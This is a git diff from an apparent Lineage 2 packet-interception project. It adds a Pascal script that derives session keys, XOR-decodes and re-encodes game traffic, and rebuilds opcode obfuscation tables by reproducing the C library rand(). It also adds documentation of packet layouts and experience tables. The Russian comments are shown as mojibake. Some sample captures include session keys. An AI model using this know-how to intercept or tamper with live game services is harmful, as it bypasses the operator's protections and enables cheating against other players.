Kci := ''; Kco := ''; Ksi := ''; Kso := ''; + // + CharName := ''; + _id_mix := false; +end; + +Procedure OnDestroy; // ôóíêöèÿ-ñîáûòèå íà çàêðûòèå ñêðèïòà è ñîåäèíåíèÿ. +// ýòà ô-öèÿ âûçûâàåòñÿ àâòîìàòè÷åñêè ïðè çàêðûòèå ñîåäèíåíèÿ +// ô-öèÿ íå îáÿçàòåëüíà è ìîæåò îòñóòñòâîâàòü â ñêðèïòàõ ... +begin +end; + +procedure _DecGS(var bf : string;var ke : string; tk : integer); // äåêîäèðóåì ïàêåò GS, ýòî îáû÷íàÿ ô-öèÿ +var i,j,b,i1,sz,sk : integer; +begin + // ñòàíäàðòíûé àëãîðèòì XOR äåêîäèðîâàíèÿ GS la2 + sz := length(bf); + sk := length(ke); + if sk = 0 then exit; + b := 0; j := 1; + for i := 3 to sz do begin + i1 := ord(bf[i]); + bf[i] := chr(i1 xor ord(ke[j]) xor b); + b := i1; + Inc(j,1); + if j > sk then j := 1; + end; + case tk of + 1: PInt(ke,GInt(ke,1,4)+sz-2,1,4); + 2: PInt(ke,GInt(ke,1,8)+sz-2,1,8); + 3: PInt(ke,GInt(ke,9,8)+sz-2,9,8); + 4: PInt(ke,GInt(ke,9,8)+sz-2,9,8); + end; +end; + +procedure _EncGS(var bf : string;var ke : string; tk : integer); // êîäèðóåì ïàêåò GS, ýòî îáû÷íàÿ ô-öèÿ +var i,j,b,i1,sz,sk : integer; +begin + // ñòàíäàðòíûé àëãîðèòì XOR êîäèðîâàíèÿ GS la2 + sz := length(bf); + sk := length(ke); + if sk = 0 then exit; + i1 := 0; j := 1; + for i := 3 to sz do begin + bf[i] := chr(ord(bf[i]) xor ord(ke[j]) xor i1); + i1 := ord(bf[i]); + Inc(j,1); + if j > sk then j := 1; + end; + case tk of + 1: PInt(ke,GInt(ke,1,4)+sz-2,1,4); + 2: PInt(ke,GInt(ke,1,8)+sz-2,1,8); + 3: PInt(ke,GInt(ke,9,8)+sz-2,9,8); + 4: PInt(ke,GInt(ke,9,8)+sz-2,9,8); + end; +end; + +procedure _pseudo_srand(seed : integer); +begin + _seed := seed; +end; + +function _pseudo_rand: integer; +var + a : integer; +begin + a := (Int64(_seed) * $343fd + $269EC3) and $FFFFFFFF; + _seed := a; + result := (_seed shr $10) and $7FFF; +// writelogln(format('rand = %x; seed = %x',[result, _seed])); +end; + +procedure _init_tables(seed: integer); +var + i : integer; + x : byte; + rand_pos : integer; + cur_pos : integer; +begin + _1_byte_table := ''; + _2_byte_table := ''; + + for i := 0 to $D0 do begin + _1_byte_table := _1_byte_table + chr(i); + end; + for i := 0 to $4D do begin + _2_byte_table := _2_byte_table + chr(i) + #$0; + end; + _pseudo_srand(seed); + for i := 2 to $D1 do begin + rand_pos := (_pseudo_rand mod i) + 1; + x := GInt(_1_byte_table, rand_pos, 1); + PInt(_1_byte_table, GInt(_1_byte_table, i, 1), rand_pos, 1); + PInt(_1_byte_table, x, i, 1); + end; + + cur_pos := 3; + for i := 2 to $4E do begin + rand_pos := _pseudo_rand mod i; + x := GInt(_2_byte_table, rand_pos * 2 + 1 , 2); + PInt(_2_byte_table, GInt(_2_byte_table, cur_pos, 2), rand_pos * 2 + 1, 2); + PInt(_2_byte_table, x, cur_pos, 2); + cur_pos := cur_pos + 2; + end; + + cur_pos := Pos(#$12, _1_byte_table); + x := GInt(_1_byte_table, $13, 1); + PInt(_1_byte_table, $12, $13, 1); + PInt(_1_byte_table, x, cur_pos, 1); + + cur_pos := Pos(#$B1, _1_byte_table); + x := GInt(_1_byte_table, $B2, 1); + PInt(_1_byte_table, $B1, $B2, 1); + PInt(_1_byte_table, x, cur_pos, 1); + + +end; + +procedure _decode_ID(var buff:string); +var + p: integer; +begin +// writelogln(format('changing %x -> %x',[GInt(buff, 3, 1),GInt(_1_byte_table, GInt(buff, 3, 1)+1, 1) ])); + PInt(buff, GInt(_1_byte_table, GInt(buff, 3, 1) + 1, 1) , 3, 1); + if GInt(buff, 3, 1) = $D0 then begin + + PInt(buff, GInt(_2_byte_table, GInt(buff, 4, 1) * 2 + 1, 1) , 4, 1); + + end; +end; + +procedure _encode_ID(var buff:string); +var + p: integer; +begin + if GInt(buff, 3, 1) = $D0 then begin + p:= pos(Chr(GInt(buff, 4, 1)), _2_byte_table); + PInt(buff, ((p + 1) shr 1) - 1, 4, 1); + end; + p := pos(Chr(GInt(buff, 3, 1)), _1_byte_table); +// writelogln(format('changing %x -> %x',[GInt(buff, 3, 1), p-1])); + + PInt(buff, p-1, 3, 1); + + +end; + + +Procedure Trafic_Detector; +var _s : string; +begin + // Îïðåäåëèì òèï òðàôèêà è òèï ñåðâåðà. + // Âíèìàíèå! ïðè íåîáõîäèìîñòè, îïðåäåëåíèå òðàôèêà ìîæíî äîïîëíèòü íîâûìè âàðèàíòàìè =) + // + le := length(_dBuff); // _dBuff - âõîäíîé ïàêåò (òàê êàê ýòà ô-öèÿ âûçâàíà èç OnDeCode) + // + // Îïðåäåëèì òèï òðàôèêà (â ýòîì ïðèìåðå íàñ èíòåðåñóåò òîëüêî LA2) + // + if (gSys.TrafType = 0) and (_gAbsNumPkt = 1) then begin + case le of + $0B,$9B,$AB,$BA: begin + gSys.TrafType := 2; // LA2 + gSys.isLS := 1; // LS + if le = $0B then gSys.tKeyType := 1 else gSys.tKeyType := 2; // ýòî äëÿ LS, ïîêà íå ïîòðåáóåòñÿ + end; + $107: begin + gSys.TrafType := 2; // LA2 + gSys.isGS := 1; // GS + end; + $07: begin + gSys.TrafType := 2; // LA2 + gSys.isGS := 2; // GS + end; + else if le >= $107 then begin // áîëåå íàäåæíûé ñïîñîá îïðåäåëèòü LA2 GS + if pos(HStr('05 52 05 54 07 51 51 55 07 02 53 53 00 52 05 52'),_dBuff) <> 0 then begin + // åñëè íàéäåíà ñòðî÷êà '.R.T.QQU..SS.R.R' (äðåâíèé ðèì åïòü =) òîãäà ýòî ãåéì ñåðâåð ëà2. + gSys.TrafType := 2; // LA2 + gSys.isGS := 2; // GS + end; + + if StrCmp(copy(_dBuff, 3, 5), HStr('0E 3C 03 00 00')) then begin + writelogln('CT1 traffic detected'); + gSys.TrafType := 2; // LA2 + gSys.isGS := 3; // GS CT1 + end; + + end; + end; + // + if gSys.TrafType = 2 then gSys.SetIDposlen(3,1); // ID â ïàêåòàõ LA2 íàõîäèòñÿ â òðåòüåì áàéòå, ðàçìåð 1 áàéò. + if gSys.isGS > 0 then gSys.Protocol := gInt(_dBuff,4,4); // áåðåì íîìåð ïðîòîêîëà GS + + // ïðîäóáëèì ïðîòîêîëû CT1 + if gSys.Protocol >= 828 then gSys.isGS := 3; // GS CT1 + // GS CT1+ ïîêà òàêîé æå + end; + // + // îïðåäåëèì êëþ÷ GS: + // + if (_gAbsNumPkt = 2) then + + if (gSys.TrafType = 2) and (gSys.isGS > 0) and _dFromServ then begin + if (le = 12) then gSys.tKeyType := 1; // 12 áàéòíûé ïàêåò - òèï 1. GSDecodeJ (90% l2j) + if (le = 16) then gSys.tKeyType := 2; // 16 áàéòíûé ïàêåò - òèï 2. GSDecode (sub-off servers) + if (le = $1A) then gSys.tKeyType := 3; // ÷àñòü ôðè ñåðâåðîâ Interlude + if (le = $1C) then gSys.tKeyType := 3; // ÷àñòü ôðè ñåðâåðîâ Interlude + if (le = $15) then gSys.tKeyType := 3; // îôèöèàëüíûå ñåðâåðà Interlude (íà äàííûé ìîìåíò) + if (le = $19) then gSys.tKeyType := 4; // îôèöèàëüíûå ñåðâåðà CT1+ + if gSys.tKeyType > 0 then begin + s := copy(_dBuff,5,16); + if gSys.tKeyType < 3 then s := copy(s,1,4)+Hstr('A1 6C 54 87'); // C4/C5/ïñåâäî èíòåðëþä. + if gSys.tKeyType = 3 then s := copy(s,1,8)+Hstr('C8 27 93 01 A1 6C 31 97'); // èíòåðëþä. + if gSys.tKeyType = 4 then begin + s := copy(s,1,8)+Hstr('C8 27 93 01 A1 6C 31 97'); + _id_mix := true; +// ScriptTimeOut(30000); + _init_tables(GInt(_dBuff, $16, 4)); + writelogln('kamael+ trafic detected'); +// writelog('one byte table'); +// writelogHexB(_1_byte_table); +// writelog('two byte table'); +// writelogHexB(_2_byte_table); + +// gSys.sleep(10000); +// ScriptTimeOut(1000); + end; + Kci := s; Kco := s; Ksi := s; Kso := s; + scode := true; // çàïóñòèì äå/êîäèðîâàíèå GS + writelogln('key:');writeloghexb(s); + end else writelogln('íåîïîçíàííûé êëþ÷åâîé ïàêåò GS LA2 ïðîòîêîëà') + end; + // +end; + +Procedure OnDeCode; // ôóíêöèÿ-ñîáûòèå íà äåêîäèðîâàíèå ïàêåòà. +// ýòà ô-öèÿ âûçûâàåòñÿ ïðè ïîëó÷åíèè ïàêåòà, ÄÎ àâòîìàòè÷åñêîãî äåêîäèðîâàíèÿ (åñëè âêëþ÷åíî) è ÄÎ çàïèñåé â àâòîëîããåð îñíîâíûõ ïàêåòîâ +// ô-öèÿ íå îáÿçàòåëüíà è ìîæåò îòñóòñòâîâàòü â ñêðèïòàõ ... +// âõîäíîé áóôåð '_dBuff', âûõîäíîé '_dOutBuff', ôëàã íàïðàâëåíèÿ '_dFromServ' (íå ïåðåïóòàéòå) +begin + //writelogln('OnDeCode ..'); + + // _dBuff - âõîäíîé ïàêåò äëÿ äåêîäèðîâàíèÿ + if _gAbsNumPkt < 6 then Trafic_Detector; // îïðåäåëèì òðàôèê è òèï ñåðâåðà (â ïðåäåëàõ 5 ïåðâûõ ïàêåòîâ, äëÿ LA2 ýòîãî õâàòèò) + // + if scode and (_gAbsNumPkt > 2) then begin + // äåêîäèðóåì ïàêåò, ðó÷íàÿ ðåàëèçàöèÿ ñòàíäàðòíîãî àëãîðèòìà. + if _dFromServ then + _DecGS(_dBuff,Ksi,gSys.tKeyType) + else begin + _DecGS(_dBuff,Kci,gSys.tKeyType); + writelogHexB(_dBuff); + if _id_mix then _decode_id(_dBuff); + end; + _dOutBuff := _dBuff; + end; +end; + +Procedure OnEnCode; // ôóíêöèÿ-ñîáûòèå íà êîäèðîâàíèå ïàêåòà. +// ýòà ô-öèÿ âûçûâàåòñÿ ïåðåä îòñûëêîé ïàêåòà, ïîñëå çàïèñè â àâòîëîããåð îñíîâíûõ ïàêåòîâ è ïîñëå àâòîìàòè÷åñêîãî êîäèðîâàíèÿ (åñëè âêëþ÷åíî) +// òàê æå ô-öèÿ âûçûâàåòñÿ àâòîìàòè÷åñêè ïðè èñïîëüçîâàíèè gSys.EnSendC è gSys.EnSendS +// !! Âíèìàíèå !! +// â OnEnCode çàïðåùåíî èñïîëüçîâàòü ô-öèè gSys.EnSendC è gSys.EnSendS âî èçáåæàíèå çàìêíóòîé ðåêóðñèè +// ô-öèÿ íå îáÿçàòåëüíà è ìîæåò îòñóòñòâîâàòü â ñêðèïòàõ ... +// âõîäíîé áóôåð '_dBuff', âûõîäíîé '_dOutBuff', ôëàã íàïðàâëåíèÿ '_dFromServ' (íå ïåðåïóòàéòå) +begin + //writelogln('OnEnCode ..'); + + if scode and (_gAbsNumPkt > 2) then begin + // êîäèðóåì ïàêåò, ðó÷íàÿ ðåàëèçàöèÿ ñòàíäàðòíîãî àëãîðèòìà + if _dFromServ then + _EncGS(_dBuff,Kco,gSys.tKeyType) + else begin + if _id_mix then _encode_id(_dBuff); + _EncGS(_dBuff,Kso,gSys.tKeyType); + end; + _dOutBuff := _dBuff; + + //if _dFromServ then gSys.EnSendC(_dBuff) else gSys.EnSendS(_dBuff); + //gBlockPacket; + end; +end; + +procedure SendMsg(msg : string); // ô-öèÿ äëÿ âûâîäà ëþáîãî ñîîáùåíèÿ â ÷àò êëèåíòà (äðóãèì íå âèäíî) +begin + if (gSys.isGS > 0) and (gSys.TrafType = 2) then // ïðîâåðêà íà òðàôèê LA2 GS + gSys.EnSendC(FormatPck('%cddss',[#$4A,0,10,#0,msg+#0])); +end; + +BEGIN + // Òåëî ñêðèïòà + // âûçûâàåòñÿ ïðè ïîëó÷åíèè ïàêåòà ïðîøåäøåãî âñå äåêîäèðîâîêè è àâòîäåêîäèðîâêè + // êàê îáû÷íî, çäåñü ïàêåò ïðèõîäèò â _gBuff è åñëè åãî íàäî èçìåíèòü, òî ïèøåì â _gOutBuff + // ... + + if length(_gBuff) < 3 then exit; + ID := gInt(_gBuff,3,1); + //if (ID = $FE) or (ID = $D0) then ID := gInt(_gBuff,3,2); + // + // â êà÷åñòâå ïðèìåðà + if ID = $15 then begin // âîçüìåì èìÿ âûáðàííîãî ïåðñîíàæà + //GetAnsiStr(copy(_gBuff,4, + ScanPck5(_gBuff,4,'s',CharName, null, null, null, null); + CharName := trim(CharName); + Writelogln('Âûáðàííûé ïåðñ: '+CharName); + end; + // + + // CT1+ table reset on char selected + if ID = $0B then begin + + ScanPck5(_gBuff, 4, 's-99-99-04d' ,CharName, temp_seed, null, null, null); + writelogln(format('reseting id tables on CharSelected; Seed = %x',[temp_seed])); + _init_tables(temp_seed); + + end; + + + + + // ... äàëåå ïàêåò ëîãèðóåòñÿ è óõîäèò íà àâòîêîäèðîâêó çàòåì íà êîäèðîâêó (OnEnCode) è îòïðàâëÿåòñÿ. +END. + + + diff --git a/docs/exp_percent.txt b/docs/exp_percent.txt new file mode 100644 index 0000000..870c938 --- /dev/null +++ b/docs/exp_percent.txt @@ -0,0 +1,24 @@ + exp_table: array[0..85] of integer = + ( + 0, // level 0 + 1, 69, 364, 1169, 2885, 6039, 11288, 19424, 31379, 48230, //level 10 + 71203, 101678, 141194, 191455, 254331, 331868, 426289, 540001, 675597, 835863, //level 20 + 1023785, 1242547, 1495544, 1786380, 2118877, 2497078, 2925251, 3407898, 3949755, 4555797, //level 30 + 5231247, 5981577, 6812514, 7730045, 8740423, 9850167, 11066073, 12395216, 13844952, 15422930, //level 40 + 17137088, 18995666, 21007204, 23180551, 25524869, 28049636, 30764655, 33680053, 36806290, 40154163, //level 50 + 45525134, 51262491, 57383989, 63907912, 70853090, 80700832, 91162655, 102265882, 114038596, 126509653, //level 60 + 146308200, 167244337, 189364894, 212717908, 237352644, 271975263, 308443198, 346827154, 387199547, 429634523, //level 70 + 474207979, 532694979, 606322775, 696381369, 800225364, 900275364, 1000571463, 1100482881, 1200687304, 1300321654, //level 80 + 1400123456, 1550789123, 1680156789, 1850164821, 2099305232 //level 85 + ); + + +function PercentExp(lvl, Exp:integer):double; +var + Result:double; +begin + Result:=0; + if((lvl>=1)AND(lvl<=85))then Result:= (Exp-exp_table[lvl])/(exp_table[lvl+1]-exp_table[lvl])*100; + if(Result<0)then Result:=0; + PercentExp:=Result; +end; \ No newline at end of file diff --git a/docs/experience.txt b/docs/experience.txt new file mode 100644 index 0000000..ff66e32 --- /dev/null +++ b/docs/experience.txt @@ -0,0 +1,78 @@ +2 67 +3 362 +4 1,167 +5 2,883 +6 6,037 +7 11,286 +8 19,422 +9 31,377 +10 48,228 +11 71,201 +12 101,676 +13 141,192 +14 191,453 +15 254,329 +16 331,866 +17 426,287 +18 539,999 +19 675,595 +20 835,861 +21 1,023,783 +22 1,242,545 +23 1,301,364 +24 1,447,733 +25 2,118,875 +26 2,497,076 +27 2,925,249 +28 3,407,896 +29 3,949,754 +30 4,555,795 +31 5,231,244 +32 5,981,575 +33 6,812,513 +34 7,730,043 +35 8,740,421 +36 9,850,165 +37 11,066,071 +38 12,395,215 +39 13,844,951 +40 15,422,928 +41 17,137,086 +42 18,995,665 +43 21,007,200 +44 23,180,550 +45 25,524,869 +46 28,049,631 +47 30,764,650 +48 33,680,051 +49 36,806,285 +50 40,154,161 +51 45,525,133 +52 51,262,487 +53 57,383,992 +54 63,907,914 +55 70,853,088 +56 80,700,825 +57 91,162,660 +58 102,265,882 +59 114,038,590 +60 126,509,653 +61 146,308,201 +62 167,244,335 +63 189,364,888 +64 212,717,913 +65 237,352,657 +66 271,975,264 +67 308,443,191 +68 346,827,140 +69 387,199,535 +70 429,634,523 +71 474,207,980 +72 532,694,971 +73 606,322,751 +74 696,381,374 +75 804,225,311 +76 931,275,813 +77 1,151,275,702 +78 1,511,275,832 +79 2,099,275,897 \ No newline at end of file diff --git a/docs/exploring_c_prng.cpp b/docs/exploring_c_prng.cpp new file mode 100644 index 0000000..e93a83b --- /dev/null +++ b/docs/exploring_c_prng.cpp @@ -0,0 +1,38 @@ +void __cdecl srand( unsigned int seed ) +{ + _getptd()->_holdrand = (unsigned long)seed; +} + +int __cdecl rand( void ) +{ + _ptiddata ptd = _getptd(); + return( ((ptd->_holdrand = ptd->_holdrand * 214013L + 2531011L) >> 16) & 0x7fff ); +} + +public rand +rand proc near +call sub_77C29F25 // _getptd()? +mov ecx, [eax+14h] // offset of _holdrand? +imul ecx, 343FDh // 214013 +add ecx, 269EC3h // 2531011 +mov [eax+14h], ecx +mov eax, ecx +shr eax, 10h // >> 16 +and eax, 7FFFh +retn +rand endp + +public srand +srand proc near + +arg_0= dword ptr 8 + +mov edi, edi // 3 lines - BP-based frame +push ebp +mov ebp, esp +call sub_77C29F25 // _getptd()? +mov ecx, [ebp+arg_0] // ecx = seed (argument 0) +mov [eax+14h], ecx // _getptd()->_holdrand = seed +pop ebp +retn +srand endp diff --git a/docs/gamepackets/AbnormalStatusUpdate.txt b/docs/gamepackets/AbnormalStatusUpdate.txt new file mode 100644 index 0000000..1e969b2 --- /dev/null +++ b/docs/gamepackets/AbnormalStatusUpdate.txt @@ -0,0 +1,22 @@ +Server: 85 AbnormalStatusUpdate: len 25 +19 00 +85 +02 00 // nEffects = 2 +3E 14 00 00 // skillID 5182 \ +01 00 // level 1 > 1 +BF 1E 00 00 // duration 7871 / +E2 10 00 00 // skillID \ +01 00 // level 1 > 2 +42 0F 00 00 // duration 3906 / + +19 00 +85 +02 00 +3E 14 00 00 // skill +01 00 +C5 1E 00 00 // 7877 +E2 10 00 00 +01 00 +47 0F 00 00 // 3911 + +duration in seconds...? \ No newline at end of file diff --git a/docs/gamepackets/Action.txt b/docs/gamepackets/Action.txt new file mode 100644 index 0000000..b1607fd --- /dev/null +++ b/docs/gamepackets/Action.txt @@ -0,0 +1,18 @@ +14 00 // len - 20 +1F // ptype - Action +39 A4 00 10 // objectID 268477497 of a target +9A CB 00 00 // originX 52122 +3D 2B FF FF // originY -544657 +A9 F3 FF FF // originZ -3159 +00 // use shift? 00 - false, 01 - true + + +client sends its own coordinates + +(52136,-54431,-3184) + +[PACKET] Client: 1F Action [268477497] +[PACKET] Server: 23 TargetSelected [268636209] -> [268477497] + my_obj_ID -> targ_obj_ID +[PACKET] Server: B9 MyTargetSelected [268477497] + targ_obj_ID \ No newline at end of file diff --git a/docs/gamepackets/Appearing.txt b/docs/gamepackets/Appearing.txt new file mode 100644 index 0000000..9d326b7 --- /dev/null +++ b/docs/gamepackets/Appearing.txt @@ -0,0 +1,3 @@ +Client Len 3 [Appearing] +03 00 +3A // pcode Appearing \ No newline at end of file diff --git a/docs/gamepackets/AskJoinParty.txt b/docs/gamepackets/AskJoinParty.txt new file mode 100644 index 0000000..e769641 --- /dev/null +++ b/docs/gamepackets/AskJoinParty.txt @@ -0,0 +1,11 @@ +Server: 39 AskJoinParty: len 23 +17 00 +39 +41 00 6C 00 65 00 78 00 78 00 69 00 61 00 00 00 // inviter A l e x x i a +04 00 00 00 // loot type + +// 0 - Finders Keepers +// 1 - Random +// 2 - Random including spoil +// 3 - by turn +// 4 - by turn including spoil \ No newline at end of file diff --git a/docs/gamepackets/Attack.txt b/docs/gamepackets/Attack.txt new file mode 100644 index 0000000..d7037f0 --- /dev/null +++ b/docs/gamepackets/Attack.txt @@ -0,0 +1,38 @@ +Server: Len 39 [Attack] +27 00 +33 +6C 08 00 10 // attacker +B2 16 00 10 // target +A6 00 00 00 // damage +00 // flags +9A AC 00 00 // x +F9 A4 00 00 // y coords of attacker +5D F2 FF FF // z +00 00 // count-1 +B2 16 00 10 // attacker (same) +A6 00 00 00 // damage (same) +00 // flags (same) + +Flags: +if (soulshot) _flags |= 0x10 | _grade; +if (crit) _flags |= 0x20; +if (shld > 0) _flags |= 0x40; +if (miss) _flags |= 0x80; + + + writeC(0x33); + + writeD(_attackerObjId); + writeD(_hits[0]._targetId); + writeD(_hits[0]._damage); + writeC(_hits[0]._flags); + writeD(_x); + writeD(_y); + writeD(_z); + writeH(_hits.length-1); + for (Hit temp: _hits) + { + writeD(temp._targetId); + writeD(temp._damage); + writeC(temp._flags); + } diff --git a/docs/gamepackets/AuthLogin.txt b/docs/gamepackets/AuthLogin.txt new file mode 100644 index 0000000..ced220b --- /dev/null +++ b/docs/gamepackets/AuthLogin.txt @@ -0,0 +1,9 @@ +21 00 // 33 b +2B // on L2J if obfuscator (last 4 bytes) in KeyPacket are 00 00 00 00 + // pcode may vary on retail! +6C 00 65 00 78 00 78 00 00 00 // account login (Unicode string) +BC C4 1C 61 // sessionKey2 part2 +6A 92 28 32 // sessionKey2 part1 +62 05 8C 1A // sessionKey1 part1 +A7 0D 32 D9 // sessionKey1 part2 +01 00 00 00 // hz \ No newline at end of file diff --git a/docs/gamepackets/BuyList.txt b/docs/gamepackets/BuyList.txt new file mode 100644 index 0000000..982b41f --- /dev/null +++ b/docs/gamepackets/BuyList.txt @@ -0,0 +1,76 @@ +Server: Len 2765 [BuyList] | +CD 0A +07 +C7 55 35 00 // money 3495367 +90 00 00 00 // list ID 144 +2B 00 // items count 43 + +04 00 // item type 1 0-weapon/ring/earring/necklace 1-armor/shield 4-item/questitem/adena +00 00 00 00 // objectID +2B 07 00 00 // itemID 1835 Soulshot no grade +00 00 00 00 // current count +05 00 // item type2 0-weapon 1-shield/armor 2-ring/earring/necklace 3-questitem 4-adena 5-item +00 00 // ?? +00 00 00 00 // bodypart (for armor) +00 00 // enchant level +00 00 00 00 // ?? +07 00 00 00 // price (=7) +FE FF FF FF // atk attribute type (-2) \\ +00 00 00 00 // atk attribute value \\ +00 00 00 00 // fire def \\ +00 00 00 00 // water def || element attributes +00 00 00 00 // wind def || +00 00 00 00 // earth def // +00 00 00 00 // holy def // +00 00 00 00 // unholy def // + + + + +protected final void writeImpl() + { + writeC(0x07); + writeD(_money); // current money + writeD(_listId); + + writeH(_list.size()); + + for (L2TradeItem item : _list) + { + if (item.getCurrentCount() > 0 || !item.hasLimitedStock()) + { + writeH(item.getTemplate().getType1()); // item type1 + writeD(0x00); //objectId + writeD(item.getItemId()); + writeD(item.getCurrentCount() <0 ? 0 : item.getCurrentCount()); + writeH(item.getTemplate().getType2()); // item type2 + writeH(0x00); // ? + + if (item.getTemplate().getType1() != L2Item.TYPE1_ITEM_QUESTITEM_ADENA) + { + writeD(item.getTemplate().getBodyPart()); + writeH(0x00); // item enchant level + writeH(0x00); // ? + writeH(0x00); + } + else + { + writeD(0x00); + writeH(0x00); + writeH(0x00); + writeH(0x00); + } + + if (item.getItemId() >= 3960 && item.getItemId() <= 4026)//Config.RATE_SIEGE_GUARDS_PRICE-//' + writeD((int)(item.getPrice() * Config.RATE_SIEGE_GUARDS_PRICE * (1 + _taxRate))); + else + writeD((int)(item.getPrice() * (1 + _taxRate))); + + // T1 + for (byte i = 0; i < 8; i++) + { + writeD(0x00); + } + } + } + } \ No newline at end of file diff --git a/docs/gamepackets/ChangeMoveType.txt b/docs/gamepackets/ChangeMoveType.txt new file mode 100644 index 0000000..8133f43 --- /dev/null +++ b/docs/gamepackets/ChangeMoveType.txt @@ -0,0 +1,11 @@ +Server: Len 15 [ChangeMoveType] +0F 00 +28 +B2 16 00 10 // object id +00 00 00 00 // 0 - walk, 1 - run +00 00 00 00 // ?? + +writeC(0x28); +writeD(_charObjId); +writeD(_running ? RUN : WALK); +writeD(0); //c2 diff --git a/docs/gamepackets/CharSelected_hellbound.txt b/docs/gamepackets/CharSelected_hellbound.txt new file mode 100644 index 0000000..92357c5 --- /dev/null +++ b/docs/gamepackets/CharSelected_hellbound.txt @@ -0,0 +1,46 @@ +Server: Len 284 +1C 01 +0B // CharSelected +4E 00 69 00 72 00 61 00 65 00 6C 00 00 00 // char name +7A 0B 03 00 // char id? +00 00 // title +FA B6 BA AF // session id +00 00 00 00 // clan id +00 00 00 00 // always 0 +01 00 00 00 // sex +01 00 00 00 // race +17 00 00 00 // class id +01 00 00 00 // 1 - active? +F4 40 02 00 // x +7F 31 FF FF // y +3A F5 FF FF // z +00 00 00 00 00 0A A8 40 // cur Hp +58 A8 35 CD 3B EC 99 40 // cur mp +FF CA 53 00 // sp +5A B6 E2 31 00 00 00 00 // exp +4B 00 00 00 // level +00 00 00 00 // karma +00 00 00 00 // const 0x00 +17 00 00 00 // int +28 00 00 00 // str +1E 00 00 00 // con +1A 00 00 00 // men +24 00 00 00 // dex +0E 00 00 00 // wit +00 00 00 00 00 00 00 00 // const +00 00 00 00 // class id...? O_o +00 00 00 00 // 00 1 +00 00 00 00 // 00 +00 00 00 00 // 00 +00 00 00 00 // 00 +00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +00 00 00 00 00 00 00 00 00 00 00 00 E1 1A 00 00 +00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +00 + +wtf dunno end of packet \ No newline at end of file diff --git a/docs/gamepackets/CharSelectionInfo.txt b/docs/gamepackets/CharSelectionInfo.txt new file mode 100644 index 0000000..212a2c8 --- /dev/null +++ b/docs/gamepackets/CharSelectionInfo.txt @@ -0,0 +1,75 @@ +S->C Len 317 +3D 01 // length (example 317) +09 // packet code +01 00 00 00 // number of chars +07 00 00 00 // max chars on server? +00 // always 0x00 + +// repeated block unknown length, because of var-length strings +// minimum length must be 281 bytes (not sure) +46 00 6C 00 61 00 6D 00 65 00 64 00 53 00 6F 00 75 00 6C 00 00 00 // char name (Unicode) +37 0B 0E 00 // char ID +6C 00 65 00 78 00 78 00 68 00 75 00 6C 00 65 00 00 00 // login name +0D FE 0F 00 // sessionID (playOkId1) +4E 2A 00 00 // clanID +00 00 00 00 // L2J says it's always 00 00 00 00; as I saw, on retail also +01 00 00 00 // sex +00 00 00 00 // race +0A 00 00 00 // character base class ID +01 00 00 00 // active? (c) L2J // useless >_< +9F B1 FF FF \ +32 E4 01 00 | (( x ,y ,z )) ? +00 F3 FF FF / +B8 1E 85 EB 51 F8 79 40 // HP cur +C2 F5 28 5C 8F 92 78 40 // MP cur +85 51 00 00 // SP +0C BA 0D 00 00 00 00 00 // Exp +14 00 00 00 // Level +00 00 00 00 // karma +00 00 00 00 // PK kills +00 00 00 00 // PVP kills +00 00 00 00 \ +00 00 00 00 \ +00 00 00 00 | some 7 zero dwords +00 00 00 00 | +00 00 00 00 / +00 00 00 00 / +00 00 00 00 / +00 00 00 00 // itemID hair all +4E 03 00 00 // itemID r ear +4E 03 00 00 // itemID l ear +8D 03 00 00 // necklace +6E 03 00 00 // r finger +6E 03 00 00 // l finger +2C 00 00 00 // head +37 01 00 00 // r hand +71 02 00 00 // l hand +33 00 00 00 // gloves +4D 04 00 00 // chest +50 04 00 00 // legs +27 00 00 00 // feet +00 00 00 00 // back +00 00 00 00 // LR hand +00 00 00 00 // hair +00 00 00 00 // hair 2 +00 00 00 00 // R bracelet +00 00 00 00 // L bracelet +00 00 00 00 \ +00 00 00 00 \ +00 00 00 00 | some 6 null dwords +00 00 00 00 | +00 00 00 00 / +00 00 00 00 / +02 00 00 00 // hair style +03 00 00 00 // hair color +00 00 00 00 // face +B8 1E 85 EB 51 F8 79 40 // HP max +C2 F5 28 5C 8F 92 78 40 // MP max +00 00 00 00 // deleteDays; if != 0 then char is inactive +0A 00 00 00 // classID +01 00 00 00 // 0x00000001 if last used char, 0x00000000 otherwise +00 // enchantEffect (<=127) +00 00 // Augmentation ID +00 00 // something also for augment +00 00 00 00 // transformation ID + // (but on retail you cannot see transform on char select screen) diff --git a/docs/gamepackets/CharacterCreate.txt b/docs/gamepackets/CharacterCreate.txt new file mode 100644 index 0000000..8286c52 --- /dev/null +++ b/docs/gamepackets/CharacterCreate.txt @@ -0,0 +1,16 @@ +Client: Len 63 [CharacterCreate] +3F 00 +0C // opcode +41 00 65 00 72 00 69 00 6E 00 00 00 // name +01 00 00 00 // race +01 00 00 00 // sex +19 00 00 00 // class id +1C 00 00 00 // INT +27 00 00 00 // STR +1E 00 00 00 // CON +1B 00 00 00 // MEN +23 00 00 00 // DEX +0B 00 00 00 // WIT +00 00 00 00 // hair style +00 00 00 00 // hair color +00 00 00 00 // face \ No newline at end of file diff --git a/docs/gamepackets/CharacterSelect_hellbound.txt b/docs/gamepackets/CharacterSelect_hellbound.txt new file mode 100644 index 0000000..c9b40ec --- /dev/null +++ b/docs/gamepackets/CharacterSelect_hellbound.txt @@ -0,0 +1,8 @@ +Client: Len 21 +15 00 +12 +00 00 00 00 // charslot +00 00 00 00 // rest are constant +00 00 00 00 +00 00 00 00 +00 00 \ No newline at end of file diff --git a/docs/gamepackets/CharacterSelectionInfo_final.txt b/docs/gamepackets/CharacterSelectionInfo_final.txt new file mode 100644 index 0000000..bd07aa7 --- /dev/null +++ b/docs/gamepackets/CharacterSelectionInfo_final.txt @@ -0,0 +1,72 @@ +Server: Len 313 [CharacterSelectionInfo] +39 01 +09 +01 00 00 00 // num chars +07 00 00 00 // server max chars +00 // 00 + +41 00 6C 00 65 00 78 00 78 00 69 00 61 00 00 00 // name +7A 0B 03 00 // oid +6D 00 69 00 6E 00 6C 00 65 00 78 00 78 00 00 00 // acc +46 8D 2A 54 /// play ok 1 +00 00 00 00 /// clan id +00 00 00 00 // 0x00 